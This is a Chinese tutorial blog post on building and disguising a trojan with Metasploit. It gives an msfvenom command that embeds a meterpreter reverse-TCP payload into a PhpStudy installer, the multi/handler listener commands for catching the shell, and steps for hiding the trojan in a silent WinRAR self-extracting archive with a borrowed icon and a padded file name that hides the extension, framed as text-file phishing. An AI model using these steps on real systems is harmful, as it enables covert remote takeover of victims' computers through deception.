msf工具之木马程序制作以及伪装

最新推荐文章于 2024-12-27 21:34:21 发布

行云tack

最新推荐文章于 2024-12-27 21:34:21 发布

阅读量8.8k

点赞数 92

CC 4.0 BY-SA版权

分类专栏：学习技术文章标签： kali

56 篇文章

订阅专栏

本文介绍如何使用MSFVENOM生成木马程序，并通过WinRAR自解压功能实现自动运行，包括设置监听端口、生成与控制木马过程，以及如何伪装木马程序。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

本文转自行云博客https://www.xy586.top

使用msfvenom制作木马程序：

#生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 -f exe -x /root/PhpStudy2018.exe -o /root/phpstudy.exe

在这里插入图片描述

将木马文件放入靶机中

在这里插入图片描述

#设置监听反弹
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.232.138
set lport 4444
run

将木马程序点击执行，监听端口得到回应，成功控制电脑
输入shell，彻底控制电脑

在这里插入图片描述

设置自动解压运行

设置rar自动解压格式让它在解压时运行恶意程序

模拟文本文档钓鱼

改良木马程序：

伪装：将网页代码和app进行绑定，然后压缩，使用WinRAR创建自解压格式
在这里插入图片描述

点击高级，在自解压选项中的常规中添加解压路径，
在这里插入图片描述

设置程序选项卡中填写解压前后运行的程序，
在这里插入图片描述

模式选项卡中静默模式选择全部隐藏
在这里插入图片描述

使用BeCyIconGrabber.exe软件提取出我们想要的软件图片ico
在这里插入图片描述

文本和图标选项中，选择加载我们刚刚生成的icon图标
在这里插入图片描述

生成了我们伪装过后的木马程序
在这里插入图片描述

同时可以将文件名称改成比较长的名字，在不选中文件的时候，文件名后面部分会被隐藏，达到隐藏后缀名的效果